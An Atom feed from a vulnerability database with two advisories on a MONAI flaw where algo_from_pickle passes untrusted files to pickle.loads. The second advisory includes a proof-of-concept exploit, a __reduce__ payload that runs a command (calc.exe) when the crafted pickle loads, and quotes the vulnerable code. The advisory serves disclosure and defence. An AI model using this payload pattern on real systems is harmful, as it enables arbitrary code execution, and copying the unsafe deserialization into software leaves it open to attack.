<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-01T23:48:44.320476+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2026-100846</id>
    <title>CVE-2026-100846 — MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization</title>
    <updated>2026-10-01T23:48:44.334126+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Project-MONAI MONAI</p>
<p>MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2026-100846"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-89gg-p5r5-q6r4</id>
    <title>GHSA-89gg-p5r5-q6r4 — MONAI: Unsafe functions lead to pickle deserialization rce</title>
    <updated>2026-10-01T23:48:44.334223+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: monai</p>
<p>### Summary
The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.</p>
<p>### Details
poc
```
import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())</p>
<p>attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))</p>
<p>```
Generate the malicious file "attack_algo.pkl" through POC.</p>
<p>```
from monai.auto3dseg.utils import algo_from_pickle</p>
<p>attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)
```
Ultimately, it will trigger pickle.load through a file to identify the command execution.</p>
<p>&lt;img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" /&gt;</p>
<p>Causes of the vulnerability:
```
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -&gt; Any:</p>
<p>with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)</p>
<p>```</p>
<p>### Impact
Arbitrary code execution</p>
<p>Repair suggestions
Verify the data source and content before deserializing, or use a s…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-89gg-p5r5-q6r4"/>
  </entry>
</feed>
